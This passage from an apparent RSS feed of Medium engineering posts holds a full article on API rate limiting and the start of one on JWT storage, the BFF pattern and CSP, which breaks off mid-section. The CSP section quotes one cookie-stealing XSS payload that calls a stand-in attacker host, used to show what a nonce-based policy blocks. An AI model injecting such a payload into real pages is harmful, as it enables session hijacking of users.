engineer.</p><h3>Final Takeaway</h3><p>HTTP is old, but it remains one of the most important technologies behind modern web applications.</p><p>If you understand statelessness, HTTP methods, idempotency, headers, status codes, CORS, caching, compression, file transfers, HTTP/2, HTTP/3, TLS, and HTTPS, a large part of backend development becomes much easier to reason about.</p><p>You stop memorizing isolated concepts and start understanding how they fit together.</p><p>That shift matters. When something breaks, you can trace the request, understand what the client sent, see how the server responded, and identify where the problem actually occurred.</p><p><strong>The better you understand the protocol, the less mysterious the backend becomes.</strong></p><h3>What’s the HTTP concept that took you the longest to understand?</h3><p>For me, <strong>CORS and idempotency</strong> were two concepts that looked simple at first but became much more interesting once I started thinking about how they work in real applications.</p><p>Let me know yours in the comments!</p><h3>Resource</h3><ul><li><strong>Understanding HTTP for backend engineers, where it all starts :<br> </strong><a href="https://youtu.be/a3C1DMswClQ">https://youtu.be/a3C1DMswClQ</a></li></ul><p><em>Enjoyed this article? Follow me for more deep dives into backend engineering, system design, and the fundamentals that power modern web development.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d2109d0facd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API Rate Limiting: I Thought It Was Just Counting Requests]]></title>
            <link>https://medium.com/@anuragdotdev/api-rate-limiting-i-thought-it-was-just-counting-requests-682cefa2f56c?source=rss-4f0627100668------2</link>
            <guid isPermaLink="false">https://medium.com/p/682cefa2f56c</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[rate-limiting]]></category>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Conveytoanurag]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 07:43:33 GMT</pubDate>
            <atom:updated>2026-07-14T07:43:33.084Z</atom:updated>
            <content:encoded><![CDATA[<p>When I first read about API rate limiting, the idea looked pretty simple. Count requests. Set a limit.<br>If someone crosses that limit, return 429 Too Many Requests.<br>Something like:</p><pre>100 requests per minute</pre><p>That’s it.</p><p>At least, that’s what I thought.</p><p>Then I started reading more about how rate limiting actually works once you have multiple servers, Redis, concurrent requests, users behind the same IP, and APIs where one request can be way more expensive than another.</p><p>And suddenly, counting requests wasn’t the difficult part anymore.</p><p>The difficult part was deciding <strong>what exactly you’re counting, where that state lives, and what guarantees your limiter is supposed to provide</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5MYdOTLIMni_VWje00hh3g.png" /></figure><p>This article is basically my attempt to put everything I learned into one place.</p><h3>Why do we even need rate limiting?</h3><p>The first answer is obvious: abuse.<br>You don’t want someone writing this:</p><pre>while (true) {<br>  fetch(&quot;/api&quot;);<br>}</pre><p>and taking your API down. But rate limiting is doing more than just stopping obvious abuse.<br>Imagine one user sends 50,000 requests while everyone else sends 20. Even if your servers can technically handle the traffic, one user is consuming a ridiculous amount of shared capacity. Then there’s cost.<br>A request like:</p><pre>GET /profile</pre><p>Might just perform a simple database read.<br>But:</p><pre>POST /generate-video</pre><p>could trigger GPU compute, object storage, background jobs, and maybe even a paid third-party API. <br>Calling both of them “one request” doesn’t really describe their cost.<br>Rate limiting can also enforce product rules.</p><p>If your pricing page says:</p><pre>Free       → 100 requests/day<br>Pro        → 10,000 requests/day<br>Enterprise → custom limits</pre><p>Something in your backend needs to enforce that. <br>So I stopped thinking of rate limiting as just abuse prevention. It’s really a way to protect <strong>capacity, fairness, cost, security, and sometimes the business model itself</strong>.</p><h3>Okay, but how do we actually limit requests?</h3><p>There are a few common algorithms.<br>I initially assumed one of them would simply be “the best.” <br>That isn’t really how it works.<br>Every algorithm solves a slightly different traffic problem.</p><h3>1. Fixed Window Counter</h3><p>This is probably the easiest one to understand.</p><p>Let’s say the limit is:</p><pre>100 requests per minute</pre><p>You divide time into one-minute windows and maintain a counter.<br>Something like:</p><pre>rate_limit:user:42:14:31 → 73</pre><p>Every request increments the counter. If it crosses 100, reject the request. When the next minute starts, a new window begins.</p><p>Conceptually:</p><pre>window = floor(current_time / window_size)</pre><pre>key = client_id + &quot;:&quot; + window</pre><pre>count = increment(key)</pre><pre>if count &gt; limit:<br>    reject</pre><p>Very simple. One counter. One expiry.<br>But there’s a weird edge case.<br>Suppose I send:</p><pre>12:00:59 → 100 requests<br>12:01:00 → 100 requests</pre><p>Both windows are technically valid.<br> So the limiter accepts 200 requests in roughly one second.</p><p>The policy says 100 requests/minute. But the actual traffic pattern doesn&#39;t really look like 100 requests per minute anymore.</p><p>This is called the <strong>boundary burst problem</strong>.<br>Fixed windows are simple, but the reset boundary can create sudden spikes.</p><h3>2. Sliding Window Log</h3><p>One way to fix the boundary problem is to stop thinking in fixed windows.<br>Instead, store the timestamp of every request.</p><p>Let’s say the current time is 12:01:30.</p><p>For a 60-second limit, we ask:</p><blockquote><em>How many requests happened after 12:00:30?</em></blockquote><p>The process looks like this:</p><pre>1. Delete timestamps older than the window<br>2. Count the remaining timestamps<br>3. If count &lt; limit, store the current timestamp<br>4. Otherwise reject</pre><p>Redis sorted sets are a pretty natural fit here.</p><pre>ZREMRANGEBYSCORE key 0 window_start<br>ZCARD key<br>ZADD key current_timestamp request_id</pre><p>This gives a much more accurate sliding window.<br>No awkward minute reset. But now we’re storing one timestamp for every request.</p><p>Imagine:</p><pre>1,000,000 active clients<br>× 100 timestamps<br>= 100,000,000 entries</pre><p>That’s the trade-off: very accurate, but potentially expensive.</p><h3>3. Sliding Window Counter</h3><p>This one was more interesting to me.</p><p>Instead of storing every request timestamp, we keep two counters:</p><pre>previous window count<br>current window count</pre><p>Then we estimate how much of the previous window still overlaps with the current sliding interval.</p><p>For example:</p><pre>previous window = 80 requests<br>current window  = 30 requests</pre><p>Suppose 25% of the previous window overlaps.</p><p>Then:</p><pre>estimated_count = 80 × 0.25 + 30<br>                = 50</pre><p>It’s an approximation.</p><p>But instead of storing every timestamp, we’re basically storing two numbers.</p><p>Cloudflare has written about using this kind of approximate sliding-window approach in its rate-limiting infrastructure.</p><p>That made the trade-off click for me. Sometimes you don’t need perfect accuracy. Sometimes an approximation with predictable memory usage is actually the better engineering decision.</p><h3>4. Token Bucket</h3><p>The token bucket is probably my favorite algorithm in this whole topic.</p><p>Imagine a bucket.</p><pre>capacity = 10 tokens<br>refill rate = 2 tokens/second</pre><p>Every request needs one token.</p><pre>token exists → request allowed<br>bucket empty → request rejected</pre><p>Tokens keep refilling over time.</p><p>So if the bucket is full, the user can immediately send 10 requests.</p><p>After that, they’re limited by the refill rate.</p><p>This means the token bucket separates two things: <strong>burst capacity</strong> and <strong>sustained request rate</strong>.</p><p>That is useful because real users don’t always generate perfectly smooth traffic.</p><p>Someone might open a dashboard and trigger eight API calls almost immediately.</p><p>You probably don’t want to block them just because those eight requests arrived within 100 milliseconds.</p><p>Stripe has publicly written about using token-bucket rate limiting in its API infrastructure.</p><p>The basic state is also pretty small:</p><pre>tokens<br>last_refill_timestamp</pre><p>When a request arrives:</p><pre>elapsed = now - last_refill<br>tokens = min(<br>    capacity,<br>    tokens + elapsed × refill_rate<br>)<br>if tokens &gt;= request_cost:<br>    tokens -= request_cost<br>    allow<br>else:<br>    reject</pre><p>Another interesting thing is that a request doesn’t necessarily need to cost one token.</p><p>You could do:</p><pre>GET /profile          → 1 token<br>POST /search          → 3 tokens<br>POST /generate-video  → 20 tokens</pre><p>Now you’re not just counting requests.</p><p>You’re roughly modelling operational costs.</p><h3>5. Leaky Bucket</h3><p>Token bucket allows bursts.</p><p>Leaky bucket tries to smooth them.</p><p>Think of requests entering a queue:</p><pre>incoming requests<br>        ↓<br>      queue<br>        ↓<br>  fixed drain rate<br>        ↓<br>    downstream</pre><p>Requests can arrive quickly, but the queue processes them at a fixed rate.</p><p>If the queue fills up completely, new requests are rejected.</p><p>This can be useful when a downstream system needs predictable traffic.</p><p>For example:</p><ul><li>background jobs</li><li>batch processing</li><li>third-party APIs</li><li>write-heavy services</li></ul><p>The easiest way I remember the difference is:</p><blockquote>Token bucket allows controlled bursts. Leaky bucket smooths traffic.</blockquote><h3>So which algorithm should you use?</h3><p>There isn’t one answer.</p><p>My rough mental model is:</p><p>Simple internal API -&gt;Fixed window</p><p>Need precise moving limits -&gt; Sliding window log</p><p>Large-scale approximate limits -&gt; Sliding window counter</p><p>Bursts are acceptable -&gt; Token bucket</p><p>Downstream needs smooth traffic -&gt; Leaky bucket</p><p>The important thing is to start with the traffic behavior.</p><p>Not with Redis. Not with Lua.</p><p>Not with whatever architecture diagram looks the most impressive.</p><h3>The problem starts when you add another server</h3><p>Let’s say your limiter works perfectly locally.</p><p>Then you scale the API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zlx5UFqcZoVpMOL9i9DjdQ.png" /></figure><p>Each server stores the rate-limit counter in memory.</p><p>The limit is 100 requests/minute.</p><p>Node A thinks the user has sent 40 requests.</p><p>Node B thinks they’ve sent 35.</p><p>Node C thinks they’ve sent 30.</p><p>None of the servers sees the complete picture.</p><p>Even worse, if every server independently allows 100 requests:</p><pre>Node A → 100<br>Node B → 100<br>Node C → 100</pre><p>Your “100 requests per minute” limit may effectively become 300.</p><p>The algorithm didn’t fail. The state model failed.</p><p>This was probably the biggest shift in how I understood rate limiting.</p><p>Once you have multiple servers, the question becomes:</p><blockquote><em>Who owns the rate-limit state?</em></blockquote><h3>Redis as shared rate-limit state</h3><p>A common solution is to move the state somewhere every API node can access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2fmuXz5fRgq87Fm5tm8nGw.png" /><figcaption>Multiple API nodes, one shared source of truth for rate-limit state.</figcaption></figure><p>Now all three servers look at the same rate-limit state.</p><p>A key might look like:</p><pre>rl:user:42:POST:/api/messages</pre><p>What you store depends on the algorithm.</p><p>For fixed window: count and expiry.</p><p>For token bucket: tokens and last_refill.</p><p>For a sliding-window counter: previous_count, current_count, and window_timestamp.</p><p>GitHub has publicly documented using a replicated Redis backend with client-side sharding for its API rate limiter.</p><p>The lesson isn’t “GitHub uses Redis, so everyone should use Redis.”</p><p>The interesting part is that the <strong>rate limiter itself eventually becomes infrastructure that needs scaling</strong>.</p><p>You can build a limiter to protect your API and then accidentally make Redis the bottleneck protecting the API.</p><p>Systems are fun like that.</p><h3>The race condition hiding in simple code</h3><p>Consider this:</p><pre>count = GET key<br>if count &lt; limit:<br>    INCR key<br>    allow</pre><p>Looks fine.</p><p>But imagine limit = 100 and current count = 99.</p><p>Two requests arrive at almost the same time.</p><p>Request A reads 99.</p><p>Request B also reads 99.</p><p>Both check 99 &lt; 100 and both allow the request.</p><p>The issue is that reading, checking, and updating are separate operations.</p><p>The decision needs to be atomic.</p><h3>The atomic check and increment script</h3><p>Redis can execute Lua scripts atomically relative to other commands.</p><p>A simplified fixed-window script could look like this:</p><pre>local current = redis.call(&quot;GET&quot;, KEYS[1])<br>if current and tonumber(current) &gt;= tonumber(ARGV[1]) then<br>    return {0, tonumber(current)}<br>end<br>local new_count = redis.call(&quot;INCR&quot;, KEYS[1])<br>if new_count == 1 then<br>    redis.call(&quot;EXPIRE&quot;, KEYS[1], ARGV[2])<br>end<br>return {1, new_count}</pre><p>The application provides:</p><pre>KEYS[1] = rate-limit key<br>ARGV[1] = request limit<br>ARGV[2] = window duration</pre><p>The script checks the limit and updates the counter as one atomic operation.</p><p>It returns something like allowed? and current count.</p><p>Then the application decides whether to continue processing the request.</p><p>The main idea is simple:</p><blockquote><em>The decision and the state update should happen atomically.</em></blockquote><p>Otherwise, concurrency can quietly break your limit.</p><h3>Where should the rate limiter live?</h3><p>This is another question where the answer is “it depends.”</p><h3>At the API gateway</h3><pre>Client<br>  ↓<br>Gateway + Rate Limiter<br>  ↓<br>Application</pre><p>This is useful for broad platform level policies. You can reject traffic before it reaches your application servers.</p><h3>Inside application middleware</h3><pre>Client<br>  ↓<br>Application<br>  ↓<br>Rate-limit middleware<br>  ↓<br>Route</pre><p>The application understands more context.</p><p>It knows user ID, tenant ID, route, and operation.</p><p>So you can create policies like:</p><pre>POST /login      → strict<br>GET /profile     → relaxed<br>POST /draw-event → high-frequency burst limit</pre><h3>Inside individual services</h3><p>Maybe your email service can only send a certain number of emails.</p><p>Or an AI service needs to protect expensive GPU jobs.</p><p>Those services may need their own limits.</p><p>In reality, I think layered rate limiting makes the most sense for larger systems:</p><pre>Edge        → basic abuse protection<br>Application → user and route policies<br>Service     → resource-specific protection</pre><p>Each layer protects something different.</p><h3>IP addresses are not user IDs</h3><p>The easiest rate-limit key is:</p><pre>rate_limit:&lt;ip&gt;</pre><p>But IP-based rate limiting gets messy.</p><p>Think about college Wi-Fi — hundreds of students could appear behind the same public IP.</p><p>The same thing happens with office networks, mobile carrier NAT, public Wi-Fi, and VPNs.</p><p>Now one abusive user can get everyone throttled.</p><p>The opposite problem also exists: an attacker can rotate IP addresses.</p><p>So instead of blindly rate limiting by IP, the key should depend on what you’re protecting.</p><p>Possible dimensions include IP address, user ID, API key, tenant ID, organization ID, endpoint, HTTP method, and session.</p><p>You can combine them:</p><pre>rl:user:42:POST:/api/messages<br>rl:tenant:acme:/generate<br>rl:ip:203.0.113.10:/login</pre><p>The question I find more useful is:</p><blockquote><em>Who is consuming the resource I’m trying to protect?</em></blockquote><p>That’s probably what you should limit.</p><h3>Not every request should cost one request</h3><p>Imagine:</p><pre>GET /health<br>GET /profile<br>POST /search<br>POST /generate</pre><p>A flat policy says 100 requests/minute, But those endpoints may have completely different backend costs.</p><p>So maybe the policy should be:</p><pre>GET /health      → cost 0<br>GET /profile     → cost 1<br>POST /search     → cost 3<br>POST /generate   → cost 20</pre><p>Token bucket makes this pretty natural.</p><p>Instead of one request = one token, you have one operation = N tokens.</p><p>This becomes especially interesting for AI APIs where one request might generate a tiny text response while another processes a huge context or runs expensive media generation.</p><p>Counting both as exactly one request feels a little meaningless.</p><h3>429 is not enough</h3><p>Suppose your API responds with:</p><pre>429 Too Many Requests</pre><p>Okay. Now what?<br>Should the client retry in one second? One minute? Tomorrow?<br>A better response gives the client recovery information.</p><pre>HTTP/1.1 429 Too Many Requests<br>Retry-After: 30<br>Content-Type: application/json<br>{<br>  &quot;error&quot;: &quot;rate_limit_exceeded&quot;,<br>  &quot;message&quot;: &quot;Too many requests&quot;,<br>  &quot;retry_after&quot;: 30<br>}</pre><p>Now the client knows what to do.</p><p>There is also ongoing IETF work around standardized HTTP rate-limit metadata.</p><p>As of the May 2026 Internet-Draft, the proposed fields are RateLimit and RateLimit-Policy.</p><p>It’s still an Internet-Draft, not a finalized HTTP standard, so the exact header names may evolve.</p><p>Many APIs still expose vendor-specific or older X-RateLimit-* headers, so clients may encounter both conventions in practice.</p><p>For a new API, I’d document one clear contract and follow the evolving HTTP specification rather than exposing duplicate metadata without a compatibility reason.</p><p>The broader point matters more:</p><p><strong>Rate limiting is part of your API contract.</strong></p><p>The client should understand how to recover.</p><h3>The client can still ruin everything</h3><p>Even with a good server-side limiter, a badly written client can create problems.</p><p>Imagine:</p><pre>while (true) {<br>  await callAPI();<br>}</pre><p>The API returns 429.</p><p>The client retries immediately.</p><p>Another 429.</p><p>Retry.</p><p>Another 429.</p><p>Congratulations, we built a tiny self-inflicted DDoS loop.</p><p>The usual solution is exponential backoff:</p><pre>1 second<br>2 seconds<br>4 seconds<br>8 seconds<br>16 seconds</pre><p>Then add jitter:</p><pre>delay = exponential_backoff + random_jitter</pre><p>Why jitter?</p><p>Suppose 10,000 clients get rejected at the same time.</p><p>Without jitter:</p><pre>10,000 clients retry after exactly 8 seconds</pre><p>You just moved the traffic spike eight seconds into the future.</p><p>With jitter, retries spread out:</p><pre>8.1s<br>8.7s<br>9.3s<br>10.0s<br>...</pre><p>A decent client should roughly:</p><ol><li>Respect Retry-After</li><li>Use bounded exponential backoff</li><li>Add jitter</li><li>Stop after a maximum number of retries</li><li>Queue work if that makes sense</li><li>Cache responses where possible</li></ol><p>Rate limiting isn’t only a server problem.</p><p>The client is part of the system too.</p><h3>Should failed requests count?</h3><p>Initially, I thought maybe only successful requests should consume quota.</p><p>Then consider a login endpoint:</p><pre>POST /login → 401<br>POST /login → 401<br>POST /login → 401</pre><p>If failed requests don’t count, someone can keep guessing passwords forever.</p><p>So “count only 2xx requests” is not a general solution.</p><p>The policy depends on what you’re protecting.</p><p>For /login, failed attempts probably matter a lot.</p><p>For an expensive generation API, maybe the quota should be consumed once expensive work is accepted.</p><p>For an internal API, maybe client errors and server errors need separate budgets.</p><p>The better question is:</p><blockquote><em>What behavior consumes or threatens the resource this limit exists to protect?</em></blockquote><p>Count that.</p><h3>What happens when Redis goes down?</h3><p>This question is uncomfortable because there isn’t a perfect answer.</p><p>If Redis is unavailable, the application can’t check the global rate limit.</p><p>You have two obvious options.</p><h3>Fail open</h3><pre>limiter unavailable → allow request</pre><p>Your API stays available, but your abuse and quota protection disappears.</p><h3>Fail closed</h3><pre>limiter unavailable → reject request</pre><p>Your limits remain strict, but now Redis can effectively take down your API.</p><p>The answer probably depends on the endpoint.</p><p>GET /public-content might fail open.</p><p>POST /send-otp probably fails closed.</p><p>POST /expensive-ai-job might fail closed or use a conservative fallback.</p><p>What matters is that this should be a deliberate decision not something you discover during an outage.</p><h3>I almost misunderstood local rate limiting</h3><p>At first, this architecture sounded smart to me:</p><pre>Each API server keeps a local token bucket.<br>Local token exists?<br>→ allow immediately.<br>Local bucket empty?<br>→ check Redis.</pre><p>Fewer Redis calls. Lower latency.<br>Nice.</p><p>Except there’s a problem.</p><p>Suppose the global limit is 100 requests and we have three nodes.</p><pre>Node A → 50 local tokens<br>Node B → 50 local tokens<br>Node C → 50 local tokens</pre><p>The cluster can potentially allow:</p><pre>50 + 50 + 50 = 150 requests</pre><p>Our global limit is now fiction.</p><p>A local bucket can’t independently represent a strict global quota.</p><p>One way to approach this is <strong>quota leasing</strong>.</p><pre>            Global Budget Redis<br>               /   |   \<br>              /    |    \<br>        lease 20  20   lease 20<br>            ↓       ↓       ↓<br>         Node A   Node B   Node C</pre><p>Redis owns the global budget.</p><p>Each node atomically leases a small number of tokens.</p><p>The node can then spend those tokens locally.</p><pre>local leased token available<br>        ↓<br>allow locally</pre><p>When the local lease runs out, request another lease from Redis.</p><p>This reduces the need to coordinate with Redis for every single request.</p><p>But it introduces another problem.</p><p><strong>What if Node A crashes while holding 15 unused tokens?</strong></p><p>Those tokens may temporarily disappear from the available budget.</p><p>You now need lease expiration, reclamation, or some acceptable oversubscription strategy.</p><blockquote><strong><em>This is something I keep noticing while learning system design: optimizations usually don’t remove complexity. They move it somewhere else.</em></strong></blockquote><h3>You need to observe the limiter too</h3><p>Imagine users are suddenly complaining about 429 responses.</p><p>Is someone abusing the API? Did you deploy the wrong limit? Is Redis slow? Is one endpoint suddenly expensive?</p><p>Without metrics, you’re guessing.</p><p>At minimum, I’d want to track:</p><pre>allowed requests<br>rejected requests<br>rejection rate by endpoint<br>rejection rate by tenant/user<br>Redis latency<br>rate-limit evaluation latency<br>script errors<br>fallback activations</pre><p>The pattern of rejections matters too.</p><p>If three users are constantly getting throttled, maybe the limiter is doing its job.</p><p>If thousands of unrelated users suddenly start getting throttled, something is probably wrong.</p><p>Structured logs can help:</p><pre>{<br>  &quot;event&quot;: &quot;rate_limit_decision&quot;,<br>  &quot;key_type&quot;: &quot;user&quot;,<br>  &quot;policy&quot;: &quot;message_send&quot;,<br>  &quot;allowed&quot;: false,<br>  &quot;limit&quot;: 100,<br>  &quot;retry_after&quot;: 12<br>}</pre><p>Obviously, be careful about logging raw API keys, IPs, or other sensitive identifiers.</p><h3>The architecture I’d start with</h3><p>If I had to design a public API rate limiter today, I’d probably start somewhere around here:</p><pre>                    Client<br>                       │<br>                       ▼<br>               CDN / Edge Layer<br>                       │<br>             basic abuse protection<br>                       │<br>                       ▼<br>                 API Gateway<br>                       │<br>                  authentication<br>                       │<br>                       ▼<br>             Rate Limit Middleware<br>                  │          │<br>                  │          │<br>            policy lookup    │<br>                  │          │<br>                  ▼          ▼<br>             Config Store   Redis<br>                         atomic decision<br>                              │<br>                     Lua / server logic<br>                              │<br>                    ┌─────────┴─────────┐<br>                    │                   │<br>                  ALLOW                DENY<br>                    │                   │<br>                    ▼                   ▼<br>             Route Handler      429 + Retry-After</pre><p>I’d use a token bucket when bursts are expected and sliding-window counters when the policy needs to represent traffic over a moving interval.</p><p>Redis when multiple application nodes need coordinated state.</p><p>Atomic server-side logic for the decision and state update.</p><p>Authenticated identities like user IDs, API keys, or tenant IDs whenever possible.</p><p>Different policies for different operations.</p><p>Explicit fail-open or fail-closed behavior.</p><p>And enough metrics to know when the limiter is doing something weird.</p><p>Would this architecture work for every system?</p><p>Definitely not.</p><p>But I think it’s a much better starting point than:</p><pre>INCR user_ip</pre><pre>if count &gt; 100:<br>    return 429</pre><h3>The part I actually found interesting</h3><p>I started this topic thinking rate limiting was about counting requests.<br>It isn’t. Or at least, the counter is the easy part.</p><p>You start with 100 requests per minute.</p><p>Then someone asks:</p><p><em>Across how many servers?</em></p><p>Okay.</p><p>Then:</p><p><em>100 requests from whom?</em></p><p>Then:</p><p><em>What if two requests arrive at the same time?</em></p><p>Then:</p><p><em>What if Redis is down?</em></p><p>Then:</p><p><em>What if one request costs 100 times more than another?</em></p><p>Then:</p><p><em>What happens when 10,000 clients retry together?</em></p><p>And suddenly your tiny counter has become a distributed systems problem.</p><p>Rate limiting was never just counting requests.</p><p>It was about deciding what to count, who to count for, and what guarantees the system should provide.</p><p>That’s probably my biggest takeaway from studying rate limiting:</p><p><strong>System design gets interesting when you stop asking only “How do I build this?” and start asking “What guarantees is this system actually supposed to provide?”</strong></p><h3>References and things I read</h3><ul><li>Cloudflare Engineering — <em>How we built rate limiting capable of scaling to millions of domains</em></li><li>Stripe Engineering — <em>Scaling your API with rate limiters</em></li><li>GitHub Engineering — <em>How we scaled the GitHub API with a sharded, replicated rate limiter in Redis</em></li><li>Postman — <em>What is API Rate Limiting? Understanding Best Practices</em></li><li>IETF HTTPAPI Working Group — <em>RateLimit header fields for HTTP</em></li><li>Anurag Kumbhare — <em>API Rate Limiter — System Design Deep Dive</em></li><li>Inni Chang — <em>API Rate Limiting: Implementation Strategies and Best Practices</em></li><li>Yapi Kredi Technology — <em>A Fundamental Go-To Guide for API Rate Limiting</em></li></ul><p>I’m still learning backend and system design, and writing these deep dives is basically how I force myself to understand a topic beyond just memorizing definitions.</p><p>If I misunderstood a trade-off or missed an interesting edge case, feel free to point it out to me in comments or on <a href="https://x.com/anuragdotdev">X</a> <br>I’d rather fix my mental model than pretend I know everything.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=682cefa2f56c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The JWT Storage Debate Is Over: Here’s the Production-Grade Architecture Your App Actually Needs]]></title>
            <link>https://medium.com/@anuragdotdev/the-jwt-storage-debate-is-over-heres-the-production-grade-architecture-your-app-actually-needs-9ab284da065f?source=rss-4f0627100668------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ab284da065f</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[jwt]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Conveytoanurag]]></dc:creator>
            <pubDate>Wed, 24 Jun 2026 15:24:47 GMT</pubDate>
            <atom:updated>2026-06-24T15:24:47.764Z</atom:updated>
            <content:encoded><![CDATA[<p>Every developer knows the mantra by now: <em>“Don’t store JWTs in localStorage — use HttpOnly cookies instead.”</em> And they’re right. But here’s the uncomfortable truth that every “localStorage is bad” article conveniently ignores:</p><p>Moving your JWT to an HttpOnly cookie solves exactly one problem — <strong>XSS-based token theft</strong> — while creating a cascade of new ones.</p><p>What about CSRF? What about microservices architectures where your frontend and API live on different domains? What about refresh token theft? What about the fact that even with HttpOnly cookies, an XSS vulnerability still lets attackers use your session to make authenticated requests?</p><p>The “just use cookies” advice is incomplete. In production, you need a complete architecture. Here’s what that actually looks like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_DmcO47MUG9n-8RjdRbxAQ.png" /></figure><h3>Part 1: Why the “Cookies Fix Everything” Narrative Is Dangerous</h3><p>Storing a JWT in an HttpOnly cookie means JavaScript can’t read it. This blocks XSS-based exfiltration. Great.</p><p>But here’s what most articles don’t tell you:</p><p>If your JWT is in a cookie, the browser automatically sends it with every request to that domain — <strong>including requests initiated by malicious websites</strong>. This is CSRF (Cross-Site Request Forgery). And CSRF protection isn’t a checkbox; it’s an architectural decision with real tradeoffs.</p><p>SameSite=Strict helps, but breaks cross-domain flows. SameSite=None requires CSRF tokens. And if you’re building a modern SPA with a separate API backend (say, myapp.com frontend, api.myapp.com backend), you can’t even set an HttpOnly cookie from the frontend without a proxy layer.</p><p>The simple advice falls apart the moment your architecture leaves the tutorial phase.</p><h3>Part 2: The Production Architecture — BFF Pattern with Token Rotation</h3><p>The industry-standard solution for this problem is the <strong>BFF (Backend for Frontend)</strong> pattern. Here’s how it works:</p><blockquote><em>[Browser (SPA)] ──► [BFF Service] ──► [Main API]</em></blockquote><p>The browser never sees the JWT. It only holds an HttpOnly session cookie. The BFF stores the actual JWT server-side (in memory, Redis, or a database). The BFF forwards authenticated requests to your main API with the JWT attached, handling all token refreshes, rotation, and invalidation.</p><p>This eliminates XSS token theft and CSRF concerns simultaneously, because the session cookie is just an opaque identifier — not the credential itself.</p><h3>Implementation sketch (Node.js / Express)</h3><p><strong>Login endpoint on the BFF:</strong></p><pre>app.post(&#39;/auth/login&#39;, async (req, res) =&gt; {<br>  const { email, password } = req.body;<br>  <br>  const { accessToken, refreshToken, user } = await mainApi.authenticate(email, password);<br>  <br>  const sessionId = crypto.randomUUID();<br>  await sessionStore.set(sessionId, {<br>    accessToken,<br>    refreshToken,<br>    userId: user.id,<br>    expiresAt: Date.now() + 900000<br>  });<br>  <br>  res.cookie(&#39;session_id&#39;, sessionId, {<br>    httpOnly: true,<br>    secure: true,<br>    sameSite: &#39;lax&#39;,<br>    maxAge: 7 * 24 * 60 * 60 * 1000<br>  });<br>  <br>  res.json({ success: true });<br>});</pre><p><strong>Authenticated request through the BFF:</strong></p><pre>app.get(&#39;/api/user&#39;, async (req, res) =&gt; {<br>  const session = await sessionStore.get(req.cookies.session_id);<br>  if (!session) return res.status(401).json({ error: &#39;Unauthorized&#39; });<br>  <br>  const response = await mainApi.get(&#39;/user&#39;, {<br>    headers: { Authorization: `Bearer ${session.accessToken}` }<br>  });<br>  <br>  res.json(response.data);<br>});</pre><h3>Part 3: Refresh Token Rotation — The Non-Negotiable Component</h3><p>Storing refresh tokens in HttpOnly cookies is better than localStorage, but it’s still not enough.</p><ul><li><strong>The Threat:</strong> If an attacker steals a refresh token (via a compromised endpoint, a rogue backend dependency, or a device-level exploit), they can generate new access tokens indefinitely.</li><li><strong>The Fix:</strong> Refresh Token Rotation.</li></ul><p>Every time a refresh token is used to get a new access token, the server must do three things:</p><ul><li>Issue a new refresh token.</li><li>Invalidate the old one.</li><li><strong>Detect if the same refresh token is ever presented twice</strong> (which is an instant cryptographic guarantee that theft has occurred).</li></ul><h3>Implementation:</h3><pre>app.post(&#39;/auth/refresh&#39;, async (req, res) =&gt; {<br>  const session = await sessionStore.get(req.cookies.session_id);<br>  if (!session) return res.status(401).json({ error: &#39;Unauthorized&#39; });<br>  <br>  const result = await mainApi.post(&#39;/auth/refresh&#39;, {<br>    refreshToken: session.refreshToken<br>  });<br>  <br>  // The magic happens here:<br>  if (result.reuseDetected) {<br>    await sessionStore.delete(req.cookies.session_id);<br>    res.clearCookie(&#39;session_id&#39;);<br>    return res.status(401).json({ error: &#39;Session compromised&#39; });<br>  }<br>  <br>  await sessionStore.update(req.cookies.session_id, {<br>    accessToken: result.accessToken,<br>    refreshToken: result.refreshToken,<br>    expiresAt: Date.now() + 900000<br>  });<br>  <br>  res.json({ success: true });<br>});</pre><h3>Key metrics for production:</h3><ul><li><strong>Access tokens:</strong> 15-minute lifetime max.</li><li><strong>Refresh tokens:</strong> 7-day lifetime.</li><li><strong>Absolute Maximum Session:</strong> Force a hard re-authentication after a fixed window (e.g., 30 days), regardless of activity.</li></ul><h3>Part 4: Content Security Policy — Your Second Line of Defense</h3><p>Even with a BFF keeping your tokens safely on the server, you have to defend against XSS at the point of origin. <strong>CSP (Content Security Policy)</strong> is the single most high-yield XSS mitigation in web engineering.</p><p>A strict CSP stops injected scripts from executing in the first place. A production-grade header looks like this:</p><pre>Content-Security-Policy: <br>  default-src &#39;self&#39;;<br>  script-src &#39;self&#39; &#39;nonce-{RANDOM}&#39;;<br>  style-src &#39;self&#39; &#39;unsafe-inline&#39;;<br>  img-src &#39;self&#39; data: https:;<br>  connect-src &#39;self&#39; https://api.yourdomain.com;<br>  frame-ancestors &#39;none&#39;;<br>  base-uri &#39;self&#39;;<br>  form-action &#39;self&#39;;</pre><p><strong>Why this matters:</strong> If your React/Vue app suffers an injection vulnerability, the attacker tries to inject &lt;script&gt;fetch(&#39;http://evil.com/&#39;+document.cookie)&lt;/script&gt;. Because that script lacks the server-generated cryptographicnonce, The browser refuses to execute it. Combined with the BFF pattern, you have effectively closed both the <em>theft</em> vector and the <em>ride-along execution</em> vector.</p><p><em>(Implementation note: You must generate a fresh, unique nonce on the server for every single page load.)</em></p><h3>Part 5: The Complete Architecture — Putting It All Together</h3><p>When mapped out, the unified architecture looks like this:</p><p><strong>Layer:</strong> Browser<br><strong>Component:</strong> HttpOnly Session Cookie<br><strong>Responsibility:</strong> Stores only an opaque session_id pointer. It is automatically sent with requests but remains unreadable to frontend JavaScript.</p><p><strong>Layer:</strong> Browser<br><strong>Component:</strong> In-Memory State<br><strong>Responsibility:</strong> 